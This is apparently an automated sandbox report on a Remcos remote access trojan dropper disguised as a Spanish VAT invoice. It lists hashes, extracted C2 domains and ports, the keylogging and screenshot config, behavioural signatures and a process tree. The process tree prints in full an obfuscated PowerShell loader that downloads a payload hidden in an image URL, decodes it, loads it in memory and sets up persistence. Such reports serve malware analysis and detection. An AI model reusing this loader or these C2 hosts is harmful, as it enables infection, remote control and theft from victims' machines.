Analysis
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max time kernel
148s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19-12-2024 16:04
Static task
static1
Behavioral task
behavioral1
Sample
Factura de IVA,pdf.vbs
Resource
win7-20241010-en
General
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Target
Factura de IVA,pdf.vbs
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Size
152KB
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MD5
4dd53bc42716f9abe36ae85c8ca8ea4b
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SHA1
aa44fc15455a5283e6596a4da7ee87ac4e4b8901
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SHA256
d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573
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SHA512
d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952
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SSDEEP
3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM
Malware Config
Extracted
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
Extracted
remcos
NEW
rem.pushswroller.eu:23101
firewarzone.ydns.eu:23101
dim.remofficialws.top:23101
rem.officialswvrem.top:23101
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmcghdzxtrswtwg-BJ2KPV
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 5 IoCs
flow pid Process 7 3692 powershell.exe 21 3692 powershell.exe 190 4004 powershell.exe 215 4004 powershell.exe 324 4892 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 4004 powershell.exe 4892 powershell.exe 3692 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3692 set thread context of 4564 3692 powershell.exe 95 PID 4004 set thread context of 2040 4004 powershell.exe 111 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3692 powershell.exe 3692 powershell.exe 3692 powershell.exe 3692 powershell.exe 4004 powershell.exe 4004 powershell.exe 4892 powershell.exe 4892 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3692 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeDebugPrivilege 4892 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4564 MSBuild.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 3532 wrote to memory of 3692 3532 WScript.exe 85 PID 3532 wrote to memory of 3692 3532 WScript.exe 85 PID 3692 wrote to memory of 2940 3692 powershell.exe 92 PID 3692 wrote to memory of 2940 3692 powershell.exe 92 PID 3692 wrote to memory of 3924 3692 powershell.exe 94 PID 3692 wrote to memory of 3924 3692 powershell.exe 94 PID 3692 wrote to memory of 3924 3692 powershell.exe 94 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3692 wrote to memory of 4564 3692 powershell.exe 95 PID 3884 wrote to memory of 4004 3884 wscript.exe 108 PID 3884 wrote to memory of 4004 3884 wscript.exe 108 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4004 wrote to memory of 2040 4004 powershell.exe 111 PID 4244 wrote to memory of 4892 4244 wscript.exe 113 PID 4244 wrote to memory of 4892 4244 wscript.exe 113 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura de IVA,pdf.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"3⤵PID:2940
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:3924
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4564
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:2040
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4892
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
152KB
MD5f46c154b82e9739bc0cb68c2b55c7141
SHA13cffae22113aa6d4525c702f164317713865ae49
SHA256648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85
SHA51211f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
1KB
MD53e1925409bb7154e988607f289810585
SHA16904de78deaa60e648323ecf82210c77d70e598c
SHA25639687309fb6e7ad92bd99a95b8ed95ab3d00651da420857a02fc8d71561606b2
SHA512a8c52331ca27190fd4430773c9053fd0b002ff9745e0aa03bcff1a594d50d12cb546eda925ef8df913c4b70758171abeb2377f971f28147cbd367806884e3a51
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Filesize
1KB
MD57d5d8cf9f65ce79e552409c240295219
SHA1ec5e938110638dcd176ce0645682a0d3949dd5a8
SHA256817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596
SHA5120d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82